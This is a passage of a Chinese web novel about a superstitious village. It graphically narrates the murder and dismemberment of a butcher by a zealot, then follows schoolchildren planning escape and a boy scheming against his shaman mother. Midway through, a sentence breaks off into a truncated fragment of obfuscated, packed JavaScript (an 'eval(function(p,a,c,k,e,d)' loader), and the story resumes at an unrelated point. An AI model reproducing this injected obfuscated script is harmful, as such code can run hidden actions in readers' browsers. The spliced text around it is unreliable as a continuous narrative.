“严格来说你并没有去仓库,不过那种情况下你的回答并不重要。瘸子说你是个以杀生为业的下等人,本就不该靠近拜神的地方,你朝着仓库的方向前进已经是罪大恶极,就是因为你的靠近,在你手中丧命的动物的血气才会钻进那孩子的脑门,让他丧失了人类的躯体。并且引发了连锁反应,造成那天祭祀仪式的失败,你忽然地,就成了一切的罪魁祸首。” 李有福低着头毫不反驳,他逆来顺受,就像一只待宰的羔羊,“对不起,对不起,我洗干净了,真的。” “手上的血洗干净了不代表心里的血也干净了。李有福,你好好的不在庄子口杀猪,偏偏跑到里面去,可见你的心和你的灵魂都已经因为常年杀生而变得不干净了!”瘸子说道。 “对不起,对不起……” “光是对不起有什么用,这是要赎罪的!” “你哪里知道如何赎罪,只好重新抓起渔网对瘸子说,你可以用这一网鱼来赔偿。你看到瘸子从另一边拔出了一把钳子,叫喊着要拔掉你口中的虎牙,只有你自己知道,你的两颗虎牙早年间就因为营养不良而脱落了,现在嘴里的不过是假牙罢了。你拼命地抵抗,这成功激怒了瘸子。” “你就是明月庄的瘴气鬼!” 李有福充满疑惑地问道:“什么是瘴气鬼呀?” “呵,你这个屠户,手上都是牲畜的血,干着最晦气的勾当。就是因为你,那天的落成仪式才会失败,那小孩才会变成了羊!这都是你把不洁的气息带到了登临塔附近!你就是瘴气的源头,是个瘴气鬼!” 李有福投降似的举起了手,“对不起,对不起!我去赔礼道歉吧。” “道歉?早就晚啦!李有福,就在几天前,我们伟大的吉祥天师已经亲自接见了我,给我委派了抓瘴气鬼的任务,你赶紧乖乖投降,别妨碍我去向天师复命!” 我将李有福的头颅和左臂安装到躯干上,让他看起来好歹像一个人。此时他皮肤上的水珠已经基本干涸,青苔的味道也差不多消散了,我轻轻地掰开李有福的嘴来查看他的牙床,发现那两颗假牙也早就被撬走了,留下两个黑乎乎的坑洞。 我继续带着他来到不远处公园的草丛里,养护的工人没有及时地修剪,让各种杂草生长到了膝盖的位置,草叶遮盖住李有福的右臂,那上面布满了刀砍的豁口。 “瘸子用的柴刀已经生了锈,你看,你胳膊上的伤口大小不一,大多数边缘并不整齐,有些还能看到锈迹。李有福,他向你举起刀并不是你的错,而是瘸子固执地认为是你破坏了庆祝的仪式。他本想拔下你的牙齿,但你反抗的行为让他感到了冒犯,这让瘸子恼羞成怒,于是他向你挥刀。” 李有福张了张嘴问道:“为什么?” 我忍不住发笑,为李有福命运的无奈,也为明月庄腐朽思想的鄙夷,“因为你这样不吉利的下等人,是没有资格拒绝他的。” 我听到李有福发出低低的啜泣声,在过去的岁月里他从未在我们面前发出这样的声音,他的情感在死后得到了没有顾忌的释放,“我是吗?”他问道。 “你不是,李有福,你从来都不是。一切吉凶的征兆全凭人的一张嘴,和你没有关系。”我想到了李春生,想到他在每一次的祭祀仪式上的痛苦,不知道他会对瘸子的行为做出怎样的反应。 “瘸子向你挥刀的时候还没有想着要杀死你,这只是他想要给你的惩罚。你不出他所料地仰面倒在地上,河边湿润的泥土让你的整个后背都变得黏着,他还是没有放弃对虎牙的追求,于是他骑在你的身上,抱着你的头往湖里摁,这样你就会为了呼吸而张开嘴巴,湖水从你的气管进入肺里和胃里,这是一种十分难熬的感觉,好像全身都被一张塑料膜抱住了。 但你的身体被瘸子死死地压住,像一只被困住四蹄的肉猪,这是你再熟悉不过的场面。瘸子掐着你的脖子摸到了嘴里的两颗假牙,异样的触感让他愣了一会儿,很快他就下定决心,仍然用钳子拔掉了你的牙。血就混着湖水一起在你的口腔里周旋,你想要叫喊却被青苔和泥土堵住了咽喉。” 我成为燃灯星君的漫长年岁里曾带着许多人在死后回顾他们惨烈的死因,数目早已记不清了,这也让我对千奇百怪的手法感到麻木。不过这一次,我却在自己的叙述中体会到喉咙的压迫,仿佛瘸子现在也正掐着我的脖子一样。 李有福从我的停顿中开口,“你还好吗?” “没事。”我告诉他不必担心,随后叫他张开嘴,为他清理了口中残留的泥土,我接着讲道:“瘸子捧着两颗假牙迎着月光仔细端详它们的材质,他的见识短浅,根本不知道这就是普通的合金材料而已,在瘸子的印象中,大概只有银子拥有这种颜色。而你,李有福,你的脑袋在水下已经逐渐失去意识,只有家里十一个孩子的脸庞无比清晰,除了李月来和李月儒,其他的都带有将陪伴他们终身的残疾,他们该怎么办呢?你这样想着。” 即便是现在,李有福仍然没有为自己多考虑一些,他低着头喃喃自语,“他们该怎么办呢?” 我告诉他:“你别担心,他们不会有事。” 李有福不再说话,我清楚以他的性格,这沉默并不是放下了心,而是接受了自己再担心也无能为力的事实。 “你躺在湖边,月亮照着你的上半身,瘸子没有注意到你已经渐渐地不动了,他还在幻想自己手中的是两颗银牙。其实这时候你还没有死去,否则我见到的就是一个完整的李有福了。瘸子不是不害怕,他吓得瘫倒在地上,但很快他就调整了心态,向你举起了柴刀,这时间不超过两分钟。他秉持物尽其用的原则,顺便也砍下了你的两个大拇指,你看,你的两只手掌现在都只有四根手指了。” 李有福抬起胳膊看了看,满怀疑惑地问我:“拇指,做什么?” 我摇了摇头,“我不知道。很多东西在明月庄都有着千奇百怪的解释,恐怕连吉祥天师也认不全,只有神婆子能说出点儿名头。” 我没有告诉李有福他的不幸有神婆子的一份功劳,继续带着他一半的身体来到了一处羊圈里。或许我们应该感谢羊群的主人今天已经喂饱了这些牲畜,它们的头靠拢在一起昏昏欲睡,并没有理会角落里的一条人类左腿。 左腿的皮肤上没有落下羊的牙齿印,却有很多小而圆的血洞,来自那条舔舐过瘸子脚趾头的黄狗,这里才是它真正的主人家,借着夜晚模糊不清的视线,黄狗曾试图在羊圈里饱餐。 我指着李有福左腿膝盖处的残缺说道:“这世上有两种人的愤怒最容易走向极端,无能者和善良者,很明显,瘸子属于前者,而且是前者中偏向恶的一方。我虽然不知道他拿走你的拇指去做什么,但我知道你在瘸子手上咽了气,他就会带走你身上有价值的所有东西,显然人的膝盖骨在明月庄也有特殊的含义。” 将左腿安装到李有福的身躯上费了点儿劲,他念叨了几遍膝盖骨后无不担忧地说:“会不会,害人?” 我说:“说不好,以我的经验来看,被当做偏方的可能性更大。” 李有福扶着我勉强依靠一条腿站了起来,在我们寻找右腿的路上他全程单腿蹦跳着前行,每走一步我就能听到他重新拼接起来的骨头碰撞发出声响,和我身上钥匙的声音混合着倒像是某种乐器打出的节拍。 这条路我们再熟悉不过了,作为李月来的我年幼时也在这条路上奔跑,李有福跑不快,就在我身后远远地跟着,直到我将要跑进明月庄为屠夫一家划定的禁区时,李有福才会拼命招手将我喊回。现在我们再次一起踏上了这条道路,我看到月光是亮闪闪的白,也许月亮也是某人的一颗假牙,我想。 瘸子埋藏右腿的地方是灾难的导火索——仓库。北墙前松软的泥土被扒开,不知是瘸子没了力气还是有意为之,土坑很浅,不用怎么费力就能找到李有福的腿骨,这条右腿被破坏得格外严重,在土坑里七零八落成了好几段。 “你看,这条腿也没有了膝盖骨。瘸子在分尸的时候,个人的愤怒油然而生,他看着你这条健康的右腿,就想到自己的右腿。凭什么连你李有福这样一个不吉利的下等人也拥有健全的身体,而他作为天师虔诚的信徒却没有这样的福气。他在你的右腿上感到了不公,也就让你的右腿承受了他的愤怒。” 我不再多说什么,李有福坐在墙边看着我一点点拼好他的右腿,期间他说道:“其实我真的,洗干净了。” “你本来就是干净的,李有福。”我说道。他的表情没有变化,却可以真切地感觉到松了一口气,“我没资格,拜天师,我以为,连你也是假的。” “就算全世界都是假的,我也会是真的。”咔哒,最后缺失的肢体回到了躯干上,我今夜已经说了太多的话,但思来想去,还是对他多说了一句,“李有福,你不会白死,投胎去吧,回去享福。” 李有福听了只呵呵一笑,“你说话,真像我儿子。”他的身子现在是一副幼童搭好的积木,碰一下就会倒,我望着他迈开破木板似的右腿,那身影竟也像一个腿脚不便的人了。 而真正的瘸子正在家中支起一个火盆,在李有福这里得到的两块膝盖骨已经在他的碾磨下成为粉末,装在一个不锈钢的盘子里在火上炙烤。等到整个盘子在火焰的撩拨下染上火红的颜色,粉末中飘出难以形容的气味,瘸子就急不可耐地将这盘粉末对准自己的右腿膝盖倾倒下去。他被烫得呲牙,五官都好像一个失败的雕塑品,他用一块干净的布条将这些粉末牢牢包裹在自己的右腿上,就像一个骨科医生会做的那样。 高温带来的疼痛让瘸子走起路来更加滑稽,那只匍匐在墙边的黄狗也不怀好意地学着他瘸腿的模样。瘸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我冲过去抢夺刀柄,他紧抓着不放,我便干脆地甩了他一耳光。 水果刀在地上打了几转,李春生扶着墙站立,他的小臂血流如注,我知道他此刻已经精疲力尽,我想我应该轻轻拍打他的脊背,就像人们表达关心时常做的那样,可最终我只是问道:“好些了吗?” “要是我没去找瘸子,李有福是不是就不会死?”李春生问。 这时候我才明白,明月庄是个炉子,用了几百年的时间将他焖熟,这让他的骨头变得更加锐利,也更加脆弱,瘸子的柴刀劈下去,李春生也就和李有福的臂膀一样七零八落了。 “和你没关系。” 他的胸腔缓慢地起伏,问了我一句:“你家里人知道这件事吗?” 我想起李春生曾在学校合照的那天对我说过我们也是一家人,这样来看我应该回答是吧,不过我也清楚以家庭形式联结起来的家人,和以情感形式联结起来家人,在当前的情景下是不一样的。 “暂时不会知道,至少不会从我口中知道。” “那李有福的躯体呢?” “我带走了。在一个远离明月庄的地方。” 李春生发出一声长足的喟叹,我听到他浅浅地笑了两声,便撑起身子往外走,“月来……”这是他头一回没有称呼我的全名,“我不会再替他们承担愿望的代价了。” “你从一开始就不该这么做。”是啊,世上怎么会有白白得来的东西呢,明月庄的人们会说有,只不过是他们不知道,他们本该付出的东西,有人替他们代为履行了而已。人的毁灭如果不是来自无差别的恶,就是无原则的爱,就像一个母亲溺爱她的孩子。为此,我并不袒护李春生,我只是有些后悔,没有早些提醒他。 瘸子此时正在屋里踱步,为神像长久的不回应感到焦急,他确信自己现在具备了足够的资格与神明再见一面。他踱步的范围越来越大,连他自己都没有注意到已经走出了家门的范围,有个曾与他一同去采摘毛豆的人见了他问道:“瘸子,你脑子没有出问题吧?” “呸!你才出问题了呢。” 他啐道,转身回到屋里关好了门。神像还是一动不动。瘸子忽然想到,自己当初是在梦里见到了天师,连万婆子也说自己是见到了天师入梦传谕,他恍然大悟,可是现在这个时间毫无睡意。 这不是能够难倒他的理由,瘸子捡起地上用来抵门的砖头,“邦”地就往自己的脑门上一砸,他顿时眼冒金星,墙壁和黄狗全都昏天黑地模模糊糊的一片压下来,他张开双臂拥抱这幸福的黑暗仰面往后倒下。 那是什么声音?瘸子分辨了好一会儿,才听出来是一群孩子在河边唱的歌谣:你拍一,我拍一,我奉神明二两金;你拍二,我拍二,月牙勾住石拱桥;你拍三,我拍三,我做先锋除孽障…… 瘸子听了心烦,捡起石头就往孩子堆里砸,然而石头落下的地方仅仅划开一团烟雾,河边的景象一眨眼就和声音一起消散了。他一转身,那群孩子便在瞬间围拢到他的脚下,瘸子仔细一看他们的脸,竟然全都没有五官,而稚嫩的声音却在他的头顶萦绕:“瘸子,瘸子,你为何杀了屠户?” 瘸子骂道:“呸!你们这群晦气的东西,给我滚开!关你们屁事!” 孩子们纷纷抱住了他的右腿,“瘸子,瘸子,你为何杀了屠户?你为何杀了屠户?……”他们的声音不断重复着这个问题,瘸子想要甩开他们却做不到,于是他跺着脚回答道:“他是个不知廉耻的东西!把一身的血气和不祥都带到天师面前啦!我是替天师行道的先锋!” 啪! 瘸子的鼓膜震动,腿上的累赘全都消失,这让他顺着脸上的力道摔倒在地,差点儿就磕掉了自己的虎牙,他上一次挨这么一记响亮的耳光还是因为十五岁的时候偷窃家里的钱去买烟。 “谁啊!” 没有人回答他,周围的空气像是凝滞了,瘸子在一片寂静中坐着,直到一阵好似叹息般的微风吹过,他才再次听到了人声:“李观水,说吧。” 这声音从四面八方传来,使瘸子的鼓膜嗡嗡作响,他意识到自己面见神明的计划成功了,连忙调整了一个标准的跪姿说道:“天师在上,天师在上,这都是我该做的,万死也不辞。” 空中的声音停顿了一下,接着问他:“说吧,你为我除瘴,想要得到什么?” 瘸子就算捂着嘴也挡不住脸上的笑,他的眼睛充血,双手颤抖,思虑再三后说道:“那我要钱,一笔我到死也花不完的钱!” 空中的声音问道:“这样高的开价,你要为此放弃很多东西。” “放弃吧!我要是有了钱,再买回来就好了!天师你不知道,为了这钞票和金银,我在明月庄备受欺负,她万金花高高在上,就是因为能来钱,所以我听她的,为您虔诚地供奉至今,还为了您杀人,我是个什么也没有的人了,您若是要拿走什么,便把我的一颗真心带走吧!”他挺聪明,知道“真心”是无法真正被带走的东西,他也很糊涂,忘了这世上有很多金钱买不来的东西。 “好吧,不久之后,你就会得到一笔巨额的财富。” 空中的声音刚说完,瘸子晕乎乎的梦就醒来了,他躺在家中的地上,黄狗又来舔舐他的脚趾头,被他一脚踹开,“滚开!你也配!”他看向桌上的天师神像,摸了摸额头上凸起的肿块,发出了开水壶一般的笑声。 27.墙里的,墙外的 季青山,这个从庄子外面溜进来,影子似的人物,并没有别的地方可去,就在抓水鬼事件之后就在小季老师的带领下成为了中学的一员。他的年龄虽然已经过了上初中的阶段,身材也比所有人都高出一个头,但坐在教室最后一排,他也安静地听着课。老校长和老师们对他没有多少限制,只要避着庄子里的其他人就行,他有时会在临近中午的时候来帮我的忙。 在一个雨过天晴,拥有炽烈晚霞的傍晚,季青山发现中学的朋友们似乎正进行着什么秘密的行动,当他准备发问时,银铃儿向他招手:“喂,季青山,你也一起来吧。” 穿过中学的后墙就能看到老祠堂,庄子里的人已经将他废弃了,墙角和屋檐上都结着蜘蛛网。前段时间我被慧慧拖来这里打扫卫生,收好残破不堪的李哲画像和一碰就散架的木桌椅,这里倒还是个清净的地方。 “避难所。”慧慧说,“这是金铃儿取的名字。” 季青山在这里看到梳着两条麻花辫的金铃儿坐在中央,好像一个即将发号施令的将军。她展开一封信开始朗读起来: 亲爱的同学们,朋友们: 我和妈妈向你们问好!现在我们在新家的书桌上给你们写这封信,主要有两个目的,一来是告诉你们,我们现在一切都好,比在明月庄里的时候好了千百倍。我想万婆子是骗人的,外面并没有吃小孩的妖怪,也并非寸草不生的荒地,我亲眼看到了桃红柳绿,草长莺飞,为了证明这一点,我在信封里夹了几片干花送你们。 二来,是想告诉你们,未来我就是你们在庄子外面的接应,有任何需要的物品,我会托孟叔带来或者他转交给月来师傅、春生老师还有慧慧姐他们,请你们尽可能地相信他们。明月庄根本不是全世界,清溪河也不是唯一的母亲河,它们都只是一个小水坑而已,而我们还是水坑里的鱼,不要做水坑里的鱼,要做大海里的鱼,而大海就是明月庄外面的一切!保持通信,期待与你们重逢。 你们的好朋友 李小潭 金铃儿念完,接过银铃儿从信封里取出的干花,朋友们一个搭一个的肩膀伸长了脖子去一探究竟,那是一种在明月庄里从未见过的花,说是花朵却没有花瓣,而是一把扇子似的绒毛,一半雪白一半红粉,被李小潭用透明的塑料片夹着,好像一张标记新旧生活界限的书签。 在读信的过程中,季青山惊讶与金铃儿就这样平静地念出了母亲的名字,也平静地对待着朋友对母亲的指责。很快,金铃儿就在人群中央说道:“我就说有兰姨不是什么水鬼,她和小潭好好的呢。” “可她怎么会变成鱼呢?”一个声音问道。 另一个声音隔着人群回答他:“不是她变成了鱼,是鱼掩护了她逃走!我已经说了一万遍都是和魔术类似,让人眼花缭乱的障眼法,可惜没人信我,还要说我是梦魇魔怔了呢。” 金铃儿说道:“有兰姨和小潭离开了,别的人却不是这样。火盆里烧死的是小毛蛋,那明月庄千百年来就有数不清的小毛蛋。今天是他们,以后就有可能是我们,再这么等着,就是死路一条。” 季青山开了口:“你们打算造反吗?”他问得很认真,仿佛得到肯定的答案后就会马上投入战斗。 金铃儿看着他笑了,和从溺水的昏迷中醒来那天笑得一样开心。她的孪生妹妹银铃儿昂首挺胸地问他:“我们要是造反,你用什么武器?铲子还是斧头?” “两样我都没有。” “没关系。”金铃儿站了起来,季青山看到她的眼眶中闪着泪花,他有些慌张,想着自己刚才是不是说错了话,让她伤心了。但金铃儿从衣服里掏出一个布包裹,其中是一尊明月庄随处可见的天师神像,眼泪就顺着她的脸落下来,“铲子没用,斧头也没用。我读了《千年万代引》,只觉得这里可怜得很。” “你说谁可怜?” “我们,青山,是我们所有人。”女孩低头看着神像,就像看着一个夭折的婴儿,“他也是的。我们和天师,就是相互拖累着。但天师没有错呀,他成了人的工具,害人的也是人,而不是工具。所以我们总有一方应该放开手,这也是救我们自己。” “你们想怎么做?我能帮你们吗?” 金铃儿抬起了头,脸上还留着泪痕,可她的嘴角分明是笑着的,“季青山,现在,我们要打破眼前的墙,去看到更多的东西,身体暂时不能前往,想象力可以先抵达。我隐约能感受到,春生老师他们也在为了什么事而努力,我们不能拖他们的后腿。等到以后,我们成了他们那样的大人,还有可能的话……”她拢了拢耳边的碎发,放平了语调,“我还想回到这里,还天师一个干净的明月庄。”金铃儿的身上,笼罩了一层理想主义者的神圣光辉。 银铃儿高高地举起了她的手:“那得算我一个!” 更多的手举了起来,“也算我一个!” 直到在场所有人的手都举了起来,季青山也伸出自己修长的胳膊,越过朋友们的头顶看着站在中心的金铃儿,坚定地说道:“我也是。” 避难所的门再次被打开了,金铃儿望着来人笑道:“慧慧姐,你来啦!” 她和小季老师带来一摞厚厚的书报,这才是避难所的核心素材。它们由孟明达在镇上或县上的书报亭里搜罗来,装在旧面包车里头送来。慧慧初次与他联系的时候孟明达就抓了抓脑袋说:“业务拓展得够快的!” 数日前金铃儿找到慧慧,问了她季有兰和李小潭的事,慧慧告诉金铃儿,她们已经过上了新的生活,不必担心。但这个姑娘有着非比寻常的善心,她主动说道:“慧慧姐,只有一个小潭太少了,我们都该往外面去。” 慧慧当即就考虑了此事的可行性,她告诫金铃儿:“这可不是一蹴而就的事。” “我知道。你和春生老师他们,不也执行一个细水长流的计划吗?” 慧慧对此有些惊讶,“呀!你是怎么知道的?” “我记得春生老师说的那个词是……哦,格物致知。我观察理解出来的,你们想要我们逃走,是不是?” 慧慧决定对她坦白,“这是你们春生老师的主意。” “那只靠你们怎么行呢?我能帮你们团结同学,做你们的后背!” 季青山想起以前在收音机电台里听到的大老板们的创业故事,一个想法和一笔投资一拍即合,转动了命运的锁孔,打开了光辉的大门。他不禁开始思考金铃儿的这门生意有多大的成功可能性,这个女孩在秘密基地集会上的表现令季青山着迷,他确信金铃儿身上有着和电台故事中大老板们一样的胆识和魄力,除此之外还有一份慈母般的神性,这特质是否造就了金铃儿的人格魅力呢?季青山不知道,他只想着,若是金铃儿要将此作为自己的毕生事业,那么他是可以在这里守到死的。 “季青山!”慧慧喊他,“看什么呢?快过来!” 季青山看到在秘密基地的朋友们中间,书报被摆成了一圈展示,成了一朵斑斓的花。慧慧取下其中一片花瓣展示给每个人看,“这是一份报纸,你们可以在上面看到全世界正在发生的事。”报纸的每一个版面都成了蝴蝶的翅膀,扇动着来到朋友们的手中成为珍藏品。 “全世界有多大呢?”一个声音问道。小季老师听了,摘下一片花瓣将其展开,她指着上面的世界版图说:“世界是很大的,一辈子也走不完所有的地方,但是世界也可以被画在两张A4纸上,我们一眼就能看到全貌。” “比例尺,我们学过的!”有个女孩子的声音轻轻地说道。小季指着地图上的一处告诉朋友们,明月庄就是图上一个和沙子一样小的点,小到这张地图不会浪费空间来标注这里的位置。地图上所有的国家轮廓都化作流沙,在朋友们的指头上留下酥痒的痕迹。 金铃儿捡起一片花瓣来说道:“竹笋是一节一节长的,饭也是一口一口吃的。太大的东西很难想象,我们就从身边入手。这是镇上报刊亭的《东海远望》杂志,上面有和我们一样的中学生写的故事,也有闻名遐迩的大作家的作品,翻到后面还有彩色的服装广告。” “什么叫广告?” 银铃儿在一边说:“广告就是能让你心甘情愿掏钱的东西。”她为自己的精妙总结感到满意,微微仰起头露出得意的神情。季青山和朋友们都笑起来,连金铃儿也弯起了眼睛。 他们在秘密基地里欣赏了每一片花瓣的纹理,有的人离开时带走了他们最想要的一片。在慧慧和小季那里,朋友们都约定好了下次一起赏花的时间,而金铃儿始终安静地坐着,像是在等待着某个重要的时刻。 “你在等什么?”季青山问她。 金铃儿把鬓角的头发拢到耳后,“我什么也没等,应该是有人在等我。”她说罢,就朝着慧慧走去,“慧慧姐,我有话想和春生老师说。” 慧慧早就猜到事情会这样发展了,“他最喜欢听你说话了。” 这间东南朝向的小屋子积累了一整天的暑气而让人感到潮热,但在这临近夏天的时间却没有人因此觉得难捱。季青山极力地想要找到一个词语来形容这一天的感受,他从记忆中寻找杂志和广播还有电视机上见到过的词汇,好像在一瓶盐里找一粒糖。大概是“浪漫”吧,季青山想着。 可惜浪漫都有它特定的受众,李春生不是其中之一。 小白菜在这个潮热的傍晚坐在教室里与李春生讲述他这几日观察的结论:现在明月庄最悠闲的人是瘸子,最忙碌的人是李得彩,最紧张的人是万金花。 “那瘸子的脸上总带着挥之不去的笑容,我也没再见他挎着竹篮去采摘毛豆,而是整日整日地沿着明月庄错综复杂的道路踱步,他的身后跟着一条瘦骨嶙峋的黄狗,狗跟得那样紧,好像他手上提着腊肉似的。” 李春生的手臂上包着一截纱布,毫不掩饰地露在小白菜的面前,手上夹着笔在桌面上嗒、嗒、嗒地敲击。 “那时候我正坐在自家的墙头上呢,春生老师你也知道,我的身体没有以前好了。当时我又浑身发了高热,我亲爱的妈妈万金花还在念她的经,我的爸爸李得彩几乎要把自己埋进土里,我就只能爬到墙上,清晨的时候水泥墙皮还保持着清凉,刚好能为我降降温。”其实他讲述的时候仍然高热不退,额头上不断淌下汗来,“我见到瘸子过来了,就喊他。‘喂,瘸子!’我说,我看你是发了横财,才会这样高兴。” 李春生问他:“你是怎么看出来他发了财的?” 小白菜捂着嘴笑,“嘿嘿嘿……春生老师,看来你还是不够了解他。他是个贪财如命又睚眦必报的人,只有金钱能让他露出这样的笑容。” 瘸子抬头望着这个孩子,“横财”的事他差不多是说中了,只不过瘸子从来不想把这事儿分享出去,便摇摇头说道:“我是为明月庄高兴呐!”他抬手指了指远处正在如火如荼修建中的登临塔工程,“多好啊!世上没有比这更宏伟的东西了!” “呸,虚伪。”小白菜朝着瘸子的头顶啐了口水,瘸子一歪脑袋躲了,一深一浅地继续往东边去。剩下小白菜坐在墙头,对着瘸子的背影喃喃自语: 你口中那宏伟建筑的落成离不开我父母的功劳。现在,他们一个钻进高塔的内部去塑像,一个站在外面做筹划,他们想象的成品比原来的更加高大,但我知道那东西的本质是什么。纸扎的老虎,面团捏的菩萨。用来唬人的东西其实有三种境界,而他们选择了最低等的一种——外强中干,光有吓人的模样,内里空空荡荡,这只能镇住明月庄的这帮傻子。中等的乃是暴力压迫,这可不是文明人的做法,可他极其有效,能够镇住那些有力气的莽夫。而最高等的则是精神统治,规则无处不在,世间无我模样,世人依旧奉我为圭臬。可惜呀,可惜呀,这个道理整个庄子也只有我小白菜参透了。 小白菜坐在教室的椅子上也是这么忘情地复述了他的理论,并向自己的老师寻求认同,“春生老师,在河边你通过了我的考验,向我证明了你是个有魄力又聪明的人,你觉得我说的对吗?” 李春生停下了手上的敲击,他往小白菜那边靠了靠,用反问的语气问道:“你以为我要帮你重建的是什么?” 小白菜听了,变得异常兴奋,他的脸以肉眼可见的速度变红,“春生老师,我们真是一拍即合!那我就与你分享另一个情报吧。” 瘸子离开之后,小白菜望了一眼太阳在天上的高度,就决定在这个时间前往登临塔的周围做做监工,便两只手掌扒住墙沿,咚地跳了下去。 瘸子对小白菜说的话尽是敷衍,他现在已经以守护者的名头自居,为了避免当初登临塔被李得彩烧毁的惨剧再次发生,瘸子躲在一户人家的桃树后面,观察着整个工程的进度。 万金花坐在地上不断啃咬自己的手指甲,数月以来小白菜和瘸子接连发生的遇神事件让她感到了无比的恐慌,她用流着血的指头示意人们:“快些!再快些!”塔中央的李得彩面对自己手上的作品,表情堪称虔诚,但很快他就挨了万金花的一脚,“就你最磨蹭!” 李得彩不为所动,他的眼珠往上瞥,活像条有着坏心思的狗,“快不了,快了做不好。” “没用的东西,和你那死爹说的一个样。” 李得彩低垂下他光滑的头颅,手上造像的力道用得更重了。 绵延不绝的修塔队伍当中分开一道小门,李月贤抱着一只灰兔子赶来向万金花问道:“婆子婆子,我爸找不着了。” 万金花一打眼,并没有认出李月贤,“你谁家的啊?” “我爸是李有福,屠户李有福。” “我没见过他。”万金花的心里正烦着,一听李有福的名字就更加不愿意搭理她,“那是你爸,又不是我爸,找我没用。” “可是他们都说你是明月庄最有办法的人。”李月贤的眼神叫万金花捉摸不透,那些有求于她的人们,他们的眼神一目了然,除了哀求就是憧憬,充满了无路可退时的浓烈情绪,成了就是光明坦途,不成就是万丈深渊。可是李月贤不是这样,她看着万金花的眼神像是质疑,又像是嘲讽,仿佛万金花才是来求人帮忙的。我的这个妹妹从小就是这样的性格,也许是长期与工具打交道的人生经历造就了她更加超然物外的性格,当她从我口中得知李有福“失踪”的消息时,李月贤只是问了一句:“他是主动失踪的,还是被动失踪的?” 我无法回答她的这个问题,她便在其他人的指引下来到了万金花这里。 一个修塔的工匠忽然在卸料的时候大吼了一声,把万金花和躲在树底下的瘸子都吓得缩了缩身子,此时瘸子的目光已经转移到了万金花这里。 神婆子摊开两手显得十分无奈,“我再有办法,也是巧妇难为无米之炊!你两手空空地来,还想让我帮你什么?” 可惜不是所有人都和李池那样能听懂她的暗示, “你要他的头发,衣裳,还是别的什么东西?” “你当我是狗吗?”万金花忘记了,李有福的家里没有拜神的传统,自他成为屠夫开始就是这么被要求的。 说到这里,小白菜爬到桌子上,“当时呀,我就笑着从人群中走出来,告诉我的妈妈,当她的作用能被够代替的时候,最好不要开出更高的价码。” 万金花吼他:“你来这里干什么!”她身上的汗毛全都立了起来,为小白菜仍能自由行动而颤栗。 小白菜说:“妈妈,指责我之前还是先把手头的事做好吧。”他指了指李月贤,示意万金花应当先应下她的请求。但现在轮到李月贤不给万金花面子了,我的这个妹妹从神婆子的反应中已经完全了解了她的态度,像兔子一样扭转身子飞速离开,只在万金花的手心里留下发丝扫过一瞬间的酥痒。 “嘿嘿嘿嘿嘿……”小白菜缓缓地靠近万金花,“好可惜呀 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小白菜把自己的身子挺起来,嘴唇紧贴着母亲的耳廓,“妈妈,在你的身后,我的父亲李得彩的东南方,最粗的树后面躲着瘸子的眼睛,可你沉浸在未来的妄想中完全没有注意到。哎呀,他现在跑走了,你无处对证,还好我及时发现了他。” 神婆子连忙转过身去,只看到路边的篱笆倒了一片,“你想说什么?” “我呀,我想来给你一个机会,和我赌一把的机会嘿嘿嘿嘿……” “小疯子,说疯话。”万金花抬手打了他的屁股,小白菜手上的力气却更大了,透过衣裳抓得她龇牙咧嘴得疼。 “妈妈,你是通晓神谕的神婆子,我是天师亲自点化的仙童,可是一山不容二虎,我们之间应该来斗斗法。赢了的登上神坛,输了的一无所有。现在我预言,登临塔建成之前,瘸子就会死去!你呢妈妈?你觉得他的命运会如何?”小白菜完全没有给万金花说“不”的机会。 万金花说道:“他会怎么样关我屁事!” 这话惹得小白菜哈哈大笑,他终于松开了拧着母亲皮肉的手指,从她的怀里跳下来一边鼓掌一边跑着喊道:“没事的妈妈!会有关系的,会有关系的!哈哈哈哈哈哈!” 小白菜在桌上歪着脑袋问道:“春生老师,你说我讲得好不好?” 李春生推了下眼镜,没有立刻回答他,而是站起身来关上了门。 “春生老师,咱们的关系还没有这么亲密吧?关上了门,你们的老校长可要担心你的。” “老师还不知道你能预知未来呢。”他的语气里似乎带着些苦笑。小白菜则是发自内心的喜悦,“是啊,是啊,我可是先知呢。” “你要和万金花斗法,是为了取代她?” 小白菜开始踩着桌椅在教室里走动,他先是挪动到了窗边,把整张脸贴在窗户玻璃上发出沉闷的声音说:“一山不容二虎,一山不容二虎啊。” “你是说你和万金花是明月庄的二虎?” 小白菜朝李春生大吼,“难道还有其他人有资格和我们相提并论吗?可以了,春生老师,你已经问得够多了,我也等得够久了!现在,马上,告诉我要如何重建明月庄仙童的辉煌!” “现在吗?” “当然!当然了!” 李春生站在那里,就像一堵白墙。他只问小白菜:“李池,他真的是放火烧塔的人吗?” 小白菜转身从书桌上跳下,又站上最中央的椅子,手指天花板说道:“是冤假错案!我的妈妈为了打压我而编出来的谎言!” “是啊,这不就对了?吉祥天师交给你的任务,还没有完成呢。你的第一步,就是重新找到这个真凶,证明你才是对的。要不然,你要怎么向天师交差,使他与你共同焕发光彩呢?” 那孩子顿了顿,随即裂开嘴呵呵地笑,他再次离开脚下的椅子小跑着坐上了讲台,“那一定会是明月庄最大的新闻,所有人都会知道,我的妈妈万金花是一个哄骗人的草包,只有我,小白菜,才是有真材实料的仙家灵童!” 李春生拿起了粉笔,“那么,在找出他之前,老师和你一起分析一下真凶的特点。”他一边写着板书一边说:“首先他必定要能接触到神像。其次他的手上有火源。最重要的是,我们要弄懂他纵火的动机是什么。” 小白菜转过身子,在讲台上盘腿坐着,“是恨,是不敬。” 教师提出了另一种猜想,“有没有第三种可能,原因不在纵火的人身上,而是在天师身上呢?” “什么?” “小白菜,按照万金花说的,吉祥天师的赐福衰微有多久了?” “一百二十八年。” 李春生接着问他:“在这一百二十八年以前,人们还能享受他的恩泽。而现在却要向他支付筹码,得到的恩惠也不及过去那样多,在这样的情形下,有的人痛恨天师在其位不谋其职,因而产生了恨意,这也是可以理解的,对吧?” 小白菜听了,从纸盒中抽出一根红色的粉笔,在黑板上重复着画叉,“可以,当然可以。”他再次发出笑声,“嘿嘿嘿嘿嘿,他要是因为天师不作为而烧了塔,虽然愚笨,我倒是可以原谅他。” “为什么呢?” “春生老师。”小白菜将红粉笔在手里攥得粉碎,“我早说了,吉祥天师恐怕要死了。因为他要死了,我们才需要更多的血和肉来供奉他。一个要死的人是最无能的,而无能,在明月庄是最大的恶呀嘿嘿嘿嘿……” 